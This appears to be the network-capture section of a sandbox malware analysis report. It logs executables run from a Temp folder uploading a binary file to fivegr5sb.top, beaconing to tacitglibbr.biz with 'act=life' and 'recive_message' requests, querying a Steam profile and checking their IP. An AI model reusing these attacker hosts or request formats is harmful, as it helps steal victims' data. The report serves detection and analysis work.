Dec 16, 2024 09:02:13.648293972 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivegr5sb.top Accept: / Content-Length: 71502 Content-Type: multipart/form-data; boundary=------------------------PB5aaXOazngaYQhW1kjvUZ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 42 35 61 61 58 4f 61 7a 6e 67 61 59 51 68 57 31 6b 6a 76 55 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 6c 65 64 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 04 c7 b6 27 2b 89 03 47 60 6b 35 f8 17 f8 be f3 e3 51 17 24 25 fd ca b5 4d 16 ad 38 cf 4b 4b ad f8 43 4c 89 58 47 11 53 35 d9 d2 02 07 44 3e 02 9e 18 1a 98 db d5 31 aa fc cd ea da bd dd 49 40 e2 41 b2 89 1f a1 e3 d1 cf 71 8e 84 45 66 20 c4 55 7d 30 5d 35 c1 65 5d 53 45 4f ea e8 e5 b9 5a b3 02 8c 9d a7 3b ff 0d 48 62 fb 16 10 b5 66 a0 ca 54 9e 0b e9 9a 7b 88 1c be d5 ad 99 b1 54 4a 68 61 84 20 38 c5 9c 1a 3c 51 44 ce bf 91 b8 5d 53 a3 4b 6b 29 d6 60 d9 c7 b5 ef 22 33 f8 77 90 bc 15 f5 f3 f2 9d ac a1 2c 8b 8f fa ad c5 0d 69 dc 99 [TRUNCATED] Data Ascii: --------------------------PB5aaXOazngaYQhW1kjvUZContent-Disposition: form-data; name="file"; filename="Ralede.bin"Content-Type: application/octet-stream'+G`k5Q$%M8KKCLXGS5D>1I@AqEf U}0]5e]SEOZ;HbfT{TJha 8<QD]SKk)`"3w,iL[">OvdD`zAy {Q^Mm29U5G7`AY.)>'>b\|0[Gk4#2C47[@-uhj,X.WPBVLyod#n5}%7mIR@D'd[Lu 9"Mj%#/j/LL0uPy>I7OY$k>HJHI$p%Q$:Z\O?it(3iP@y(&Z"IDL5\w%2D._:XMD@i0r#BvB&a"O<>+pb([_>iy"(ZP`=E${_9B;kM":l%.]kk*#JAFF4eaP.BIRfif[J[xEEfBsW\3kE[YJ/lu]_:>:'9b}enNikGAq.)Eml,V6c?}X+ [TRUNCATED]
Dec 16, 2024 09:02:13.768086910 CET	2472	OUT	Data Raw: 56 e3 86 53 3f 4c 48 93 24 89 bf 67 3f 71 78 97 89 cf 75 80 ea 72 dd bb 85 26 9a 12 dc c0 1f ca fa 18 6a cf bd b9 62 00 4e ab ee cc 5c d8 89 e1 95 a9 13 5c d3 fa 36 aa 72 37 3f db ff ba 29 e6 21 fe 60 6c 32 75 cf 47 88 92 d3 68 a2 8e e5 6c 19 9b Data Ascii: VS?LH$g?qxur&jbN\\6r7?)!`l2uGhl#U[F_TVDE .u\?7b`rK{Hrnn<Y*F3jbWM\|&"Y8\|+ 7M`40_G[5U'XF^Fde/_#
Dec 16, 2024 09:02:13.768127918 CET	4944	OUT	Data Raw: 00 11 b1 86 12 6e 84 f0 25 f6 d0 9f 39 92 ff d1 a1 de 9a 00 53 19 61 8e d4 be 4a 9b d8 50 1b 6f 38 f0 c9 c3 cd 2b f6 a7 53 1c dc 42 42 3d f8 2f fc 45 4a 41 d5 c3 75 45 84 08 80 d4 31 be e4 be ef 24 f8 12 4b 0c d6 77 a9 f8 1a 59 27 bc fb 74 02 9f Data Ascii: n%9SaJPo8+SBB=/EJAuE1$KwY't&_*tS[FYU\|[T?!'cx%d5wQ5tkc(A\M9K:RlTme%Rl(MOx&\)dYzs8A-RI !I]$W"~+
Dec 16, 2024 09:02:13.768224001 CET	4944	OUT	Data Raw: ab a2 84 d2 f1 06 02 9f 82 e8 da 97 35 28 a1 d6 36 c0 c5 f5 7b 7b 01 9d 78 16 61 e1 f2 ba f1 07 be d3 cb ad 57 c1 41 05 31 10 aa 82 0a e7 df fd 60 f1 1e a2 f9 c8 70 18 6e 50 c4 21 c5 7d c1 34 10 8b 35 b9 c3 c8 b8 f3 a3 87 fc db fa 1c 6f fb 6a ce Data Ascii: 5(6{{xaWA1`pnP!}45oj<>AplNpt2qlV-vql],(DNe\|?^l<~ocHJ.0:3}Aw7UW0_~13*Ae),9'ED.,
Dec 16, 2024 09:02:13.768412113 CET	4944	OUT	Data Raw: fa d0 3a 1b 62 77 c9 0d e8 dc 84 35 11 c3 e5 96 21 fa 9a aa d2 03 8c bc f9 f7 00 6e aa 90 10 91 55 84 53 be 0f c3 39 91 f2 59 de 0d 22 78 85 c7 f7 f5 a6 bc e8 9a 1f 13 bc 7f 6b e2 9b 5b 6d 48 01 75 62 9a 3b ba 58 02 63 bf b2 db 2d be 77 ed f3 bb Data Ascii: :bw5!nUS9Y"xk[mHub;Xc-wDxi6Si178XslLRZdS${^++gKG7SZ]kxR$@*S,P\Dn0zv[5!Lo~?YmyOUn)Gd(?t
Dec 16, 2024 09:02:13.768428087 CET	2472	OUT	Data Raw: 66 4e a9 93 38 43 ba 19 31 94 fb 48 51 74 44 6a 41 6b 15 70 0d 27 4b f5 4e a6 b7 c5 7e 53 44 d0 63 79 15 3c b0 ab 5c ff bf 2d 38 1c f8 38 cc 3b f0 6a e0 47 4f ac f3 0c 05 43 86 9f f8 f1 28 e2 99 93 44 d5 01 eb f6 1e af 6a 43 19 16 79 71 d0 5f 53 Data Ascii: fN8C1HQtDjAkp'KN~SDcy<\-88;jGOC(DjCyq_Si~HI3@k:>{UnAIV4VPgCng{yA=)WUr45J;aljOT2(?4Y;GNy,',x
Dec 16, 2024 09:02:13.768457890 CET	2472	OUT	Data Raw: 9a 62 bc 27 e2 5f 54 84 b4 60 0c da 00 19 88 97 5c 1d f2 9d 50 05 84 a2 ac b2 00 62 d6 e6 4e d7 fd d2 32 62 d4 3e ac 66 97 b5 e6 d7 71 b5 b2 7b ac b5 d3 dd 30 2a 14 33 38 34 22 b8 f2 3f 05 0a b3 cc 08 6a 0c 48 6c d0 fb 14 a4 4f 87 6d 56 9f 2a 8d Data Ascii: b'_T`\PbN2b>fq{0384"?jHlOmVdaiyU"+`+bI;:k-_*!+j][H\|p~lJ5,Q{O5hzH0KxrN2(yn=
Dec 16, 2024 09:02:13.768505096 CET	2472	OUT	Data Raw: ea e7 8d 08 c4 e7 7b bd 20 7e cf 09 99 cf 95 05 e0 b5 ef 6c fc ff ef ea bf 2d 49 54 2a 32 18 2c 39 18 ba bd 8b 35 ae 44 86 28 76 2c aa c8 4d 9e d9 e2 58 58 75 2b 77 4e f8 d4 84 c1 7b 0b 05 27 0c 9d 46 87 f7 5f 9a fa 92 c3 56 5d c0 ba fc 8d 2a 1c Data Ascii: { ~l-IT2,95D(v,MXXu+wN{'F_V]WIlkwP>xRm'7$B]'EZ#}uuc.el14Zt<Nm-eowrCIsO>R x\|xLFX^G+n>*,I&
Dec 16, 2024 09:02:13.887912989 CET	2472	OUT	Data Raw: 15 b8 d4 e6 86 3f 37 b1 38 6d 8e be ed d2 d3 e3 5d f2 27 82 5a f9 32 fa 70 93 29 27 26 96 89 9d f4 50 c4 a9 8a 3c e9 60 54 8e e2 83 7c 7d c4 11 19 ed ce e7 09 c5 31 86 e2 ec dc 82 70 68 60 44 f2 5f 46 c3 b1 de c0 53 47 6d ba 5a 54 a5 f6 f6 60 dc Data Ascii: ?78m]'Z2p)'&P<`T\|}1ph`D_FSGmZT`s39lyNm06gkh<<[2~2:V.z+Pe:dMo"z&RIGAJtK:'G;5&B?8\PH.7\B]3d
Dec 16, 2024 09:02:13.887965918 CET	2472	OUT	Data Raw: 02 56 e5 7b 1c 62 32 8d 22 6b 6c d5 be 1f 58 5b 6c 61 c7 04 53 c6 40 e1 09 8d c4 f2 11 5a 6a fb 26 e9 bd 6a 78 2e a1 ca 17 c3 b6 bd 44 ab 99 6c a6 62 f0 88 be 35 35 3c 76 46 b5 a3 2a 83 dc 34 ea 95 0d 2d ef 44 ec 32 bf 3c 27 df 3f ea 64 38 9f d4 Data Ascii: V{b2"klX[laS@Zj&jx.Dlb55<vF*4-D2<'?d89&NO9\%7#?^woJI;>9aS[,%y?__=<=]o`(_9L 4sS,{A&4U3TuD
Dec 16, 2024 09:02:13.888111115 CET	2472	OUT	Data Raw: f4 d6 70 d9 64 b9 29 25 8a d5 ec ab 07 b6 67 ea fc a7 c1 f4 ac 5b fd de ac 7a be 01 7f 5d 51 a6 f8 78 2b 5d 65 08 05 36 37 f4 35 81 7b cf 0e 72 20 63 22 88 aa 43 9f b8 11 e2 15 98 8d db fd c0 be 5f ff ee 2a b6 82 76 05 24 38 b2 96 6a 35 6d 35 32 Data Ascii: pd)%g[z]Qx+]e675{r c"C_v$8j5m52/]'R%g.*eH=b^Ax$-a{^M'VBwQY\|1#@iSe}@6hiL&^ZD;Zk450b+YR
Dec 16, 2024 09:02:15.432275057 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Mon, 16 Dec 2024 08:02:15 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1734337932 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49877	23.55.153.106	443	3372	C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:01:32 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-16 08:01:33 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 16 Dec 2024 08:01:33 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=dd0b7807bf8dad9737db2056; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-16 08:01:33 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-16 08:01:33 UTC	10097	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-16 08:01:33 UTC	10555	IN	Data Raw: 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: ;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":&qu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49893	44.196.3.45	443	3192	C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:01:39 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-16 08:01:41 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:01:41 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-16 08:01:41 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49945	104.21.50.161	443	2356	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:01:59 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 08:01:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 08:02:00 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mctt8far53hitmbkd3bnl342j4; expires=Fri, 11-Apr-2025 01:48:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Af2NzqmrEkm9buovVlE%2BUSpWDagwii4j7Wu8ftn8MyyVKer%2BZIQUaDwmtttkayPpWNM04N8ymYo3oIhicN0mq%2FIZC1b5Ozo8gTXv7OFXjSBy6MQNLsMscaky3g3GaTj6ews%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d260f1c2243da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1624&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=1768625&cwnd=203&unsent_bytes=0&cid=db3a35d2c3df4f4c&ts=727&x=0"
2024-12-16 08:02:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 08:02:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49953	104.21.50.161	443	2356	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:02:01 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 08:02:01 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 08:02:02 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=840quf252i93enlte2b2vu94q4; expires=Fri, 11-Apr-2025 01:48:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ugr%2BMbDY177Znhz%2Bc65%2BHSS9fnRtFa3sS0DKC0900tQn%2FJ6RoVrEAfPLK1318KpL8bFytRKr3CIx8UIIPBl0QZnevbEfKBG6B7GEzG%2Bu4FoyZa%2F3guY%2BHFBW%2B8IJgvL4fSg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d261bbdb341cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1535&min_rtt=1529&rtt_var=586&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1845764&cwnd=169&unsent_bytes=0&cid=50e788609b8d6610&ts=737&x=0"
2024-12-16 08:02:02 UTC	348	IN	Data Raw: 34 39 31 63 0d 0a 79 4c 50 68 64 4c 66 32 7a 64 6b 42 5a 77 51 6b 4c 71 65 65 73 61 68 79 5a 66 67 42 37 73 58 59 57 37 73 5a 4c 61 63 67 48 37 4b 7a 6b 5a 64 57 6a 63 4c 68 2b 33 49 43 4a 68 35 61 31 65 76 55 68 46 41 45 6e 43 50 55 6f 37 6b 33 79 48 77 42 68 56 5a 79 6b 50 4c 56 67 42 6a 45 6b 2b 48 37 5a 42 38 6d 48 6e 58 63 76 4e 54 47 55 46 2f 61 5a 49 53 6e 75 54 66 5a 65 45 62 49 55 48 50 52 6f 4e 2b 47 48 4e 4b 56 71 62 68 74 43 6d 46 42 53 38 62 30 33 38 45 66 44 5a 55 6a 77 75 65 39 49 5a 6b 6a 44 2b 70 46 61 39 4f 46 30 70 49 66 6c 59 76 68 6f 69 4d 43 61 67 59 55 68 66 2f 55 79 68 34 44 6e 47 71 47 72 62 41 2f 32 48 31 48 31 30 6c 35 32 71 44 52 68 52 33 59 6e 4c 32 31 5a 77 31 71 52 30 48 47 76 4a 32 4b 46 78 2f 61 4f 38 7a 30 69 44 72 49 61 Data Ascii: 491cyLPhdLf2zdkBZwQkLqeesahyZfgB7sXYW7sZLacgH7KzkZdWjcLh+3ICJh5a1evUhFAEnCPUo7k3yHwBhVZykPLVgBjEk+H7ZB8mHnXcvNTGUF/aZISnuTfZeEbIUHPRoN+GHNKVqbhtCmFBS8b038EfDZUjwue9IZkjD+pFa9OF0pIflYvhoiMCagYUhf/Uyh4DnGqGrbA/2H1H10l52qDRhR3YnL21Zw1qR0HGvJ2KFx/aO8z0iDrIa
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 4b 52 68 52 6a 55 6d 61 2b 70 61 77 35 74 51 31 37 4f 39 64 37 48 45 41 71 51 62 49 2b 6e 76 54 50 54 64 45 58 42 54 33 44 57 71 74 48 44 57 4a 57 54 74 2f 73 37 52 55 56 44 58 4d 4c 77 78 59 67 71 52 34 55 74 6c 65 65 39 4e 5a 6b 6a 44 38 31 48 66 74 4f 68 33 6f 41 65 33 6f 61 76 71 57 55 49 59 31 52 4b 77 50 4c 5a 79 51 49 4e 6c 47 57 50 72 72 45 77 33 48 78 4c 68 51 77 39 31 37 4b 52 32 31 62 30 6d 61 53 33 61 52 4a 6d 42 6c 4f 4c 35 5a 50 4e 48 45 66 43 49 34 69 6d 76 6a 6a 64 64 55 48 42 54 6e 76 65 70 39 36 46 48 4e 57 54 70 62 4e 72 42 47 74 4e 51 38 58 35 33 73 34 57 43 35 74 6d 7a 4f 6e 36 50 73 45 37 46 34 56 73 65 74 4f 34 6b 37 59 56 32 35 71 6f 72 53 4d 61 4b 46 38 4d 77 76 43 54 6b 6c 41 4a 6e 32 79 65 70 71 67 38 31 32 6c 44 77 45 52 77 30 Data Ascii: KRhRjUma+paw5tQ17O9d7HEAqQbI+nvTPTdEXBT3DWqtHDWJWTt/s7RUVDXMLwxYgqR4Utlee9NZkjD81HftOh3oAe3oavqWUIY1RKwPLZyQINlGWPrrEw3HxLhQw917KR21b0maS3aRJmBlOL5ZPNHEfCI4imvjjddUHBTnvep96FHNWTpbNrBGtNQ8X53s4WC5tmzOn6PsE7F4VsetO4k7YV25qorSMaKF8MwvCTklAJn2yepqg812lDwERw0
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 56 32 35 71 6f 72 53 4d 61 4b 46 38 4d 77 76 43 54 6b 6c 41 4b 6b 6d 61 4a 71 4c 73 7a 31 33 35 46 79 55 70 7a 30 37 6a 65 68 78 62 5a 6e 4b 57 32 62 51 46 75 54 30 66 4f 2b 74 50 4c 47 6b 66 55 49 34 75 2f 2b 6d 47 5a 54 30 6a 4a 54 33 4b 53 6e 39 4b 4e 47 4e 4b 43 37 36 51 74 48 43 5a 42 51 49 57 6b 6b 38 59 5a 42 35 46 70 69 4b 65 39 4e 4e 78 34 53 4d 5a 50 65 74 71 6b 31 6f 63 61 33 4a 6d 70 75 32 51 42 59 31 52 4a 7a 50 44 66 69 6c 35 48 6e 58 76 4d 2f 2f 6f 57 33 6d 31 4d 36 6b 46 73 32 65 72 4f 7a 51 2b 56 6b 36 50 37 4f 30 56 68 51 30 54 4f 2b 74 76 4b 41 67 4b 55 61 49 32 74 76 44 6a 55 64 30 6e 46 51 33 33 57 70 74 47 45 45 63 65 47 71 72 31 78 44 79 59 49 44 4d 4c 6b 6b 35 4a 51 4d 59 70 30 6e 62 48 34 44 4e 70 31 51 63 4a 55 50 63 2f 6b 79 4d Data Ascii: V25qorSMaKF8MwvCTklAKkmaJqLsz135FyUpz07jehxbZnKW2bQFuT0fO+tPLGkfUI4u/+mGZT0jJT3KSn9KNGNKC76QtHCZBQIWkk8YZB5FpiKe9NNx4SMZPetqk1oca3Jmpu2QBY1RJzPDfil5HnXvM//oW3m1M6kFs2erOzQ+Vk6P7O0VhQ0TO+tvKAgKUaI2tvDjUd0nFQ33WptGEEceGqr1xDyYIDMLkk5JQMYp0nbH4DNp1QcJUPc/kyM
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 70 61 6c 72 43 32 74 4e 51 38 37 75 30 38 63 55 43 35 35 72 68 36 33 36 64 35 6c 38 56 34 55 61 50 65 57 6e 33 6f 4d 56 77 39 53 77 39 58 70 46 59 55 6f 4d 6e 62 7a 66 78 42 41 49 6c 6d 2b 48 72 37 73 31 31 33 78 4b 7a 45 70 31 77 71 76 56 69 78 66 62 6d 36 36 2f 5a 67 42 69 51 55 6a 44 38 35 4f 45 55 41 43 43 49 39 54 6e 6c 52 37 73 4f 57 37 2f 41 6d 4b 65 73 35 47 45 47 70 58 4d 37 37 64 67 43 57 35 4a 53 73 7a 77 32 63 4d 62 43 35 46 6e 67 4b 36 2f 50 39 68 2b 53 73 52 47 63 64 71 73 30 6f 41 5a 32 70 75 6e 2b 79 31 46 59 56 34 4d 6e 62 7a 32 33 52 73 4a 6e 43 4f 54 36 61 4e 35 33 6e 63 50 6e 51 4a 78 32 61 7a 58 68 68 72 55 6b 71 65 2b 61 77 46 6e 51 45 72 47 38 39 66 50 45 51 69 65 62 34 4b 74 75 7a 6a 56 63 45 44 4f 52 7a 32 65 36 74 61 62 56 6f 33 Data Ascii: palrC2tNQ87u08cUC55rh636d5l8V4UaPeWn3oMVw9Sw9XpFYUoMnbzfxBAIlm+Hr7s113xKzEp1wqvVixfbm66/ZgBiQUjD85OEUACCI9TnlR7sOW7/AmKes5GEGpXM77dgCW5JSszw2cMbC5FngK6/P9h+SsRGcdqs0oAZ2pun+y1FYV4Mnbz23RsJnCOT6aN53ncPnQJx2azXhhrUkqe+awFnQErG89fPEQieb4KtuzjVcEDORz2e6tabVo3
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 77 4a 6a 54 55 50 4a 76 4a 32 4b 46 78 2f 61 4f 38 79 4a 73 53 72 4f 65 45 48 4f 56 47 61 51 74 5a 2b 61 56 74 4b 59 37 2b 4d 6a 42 6d 31 4e 53 4d 58 77 30 38 34 64 42 34 68 73 69 36 43 7a 4d 73 74 78 53 4d 4a 4a 64 64 75 6c 31 35 45 61 32 34 61 71 71 58 46 46 4b 41 5a 4c 33 62 79 4c 69 69 59 41 69 6e 4f 50 35 59 73 76 32 6d 31 45 79 45 34 39 7a 2b 54 49 77 78 48 5a 31 50 66 37 5a 51 70 76 52 55 50 45 39 64 2f 48 46 51 36 66 59 6f 71 6a 73 44 50 5a 66 55 6e 45 52 33 66 54 71 39 75 4b 45 64 32 54 72 4b 6b 6a 53 79 5a 42 56 49 57 6b 6b 2b 4d 58 46 5a 52 7a 7a 4c 6a 30 49 4a 6c 38 51 34 55 61 50 64 53 67 33 6f 63 52 32 5a 4b 71 76 57 34 45 61 55 64 4d 79 76 6a 59 77 78 59 47 6c 32 61 42 6f 36 67 7a 30 6e 52 44 7a 45 35 77 6b 4f 53 52 68 41 36 56 7a 4f 2b 4b Data Ascii: wJjTUPJvJ2KFx/aO8yJsSrOeEHOVGaQtZ+aVtKY7+MjBm1NSMXw084dB4hsi6CzMstxSMJJddul15Ea24aqqXFFKAZL3byLiiYAinOP5Ysv2m1EyE49z+TIwxHZ1Pf7ZQpvRUPE9d/HFQ6fYoqjsDPZfUnER3fTq9uKEd2TrKkjSyZBVIWkk+MXFZRzzLj0IJl8Q4UaPdSg3ocR2ZKqvW4EaUdMyvjYwxYGl2aBo6gz0nRDzE5wkOSRhA6VzO+K
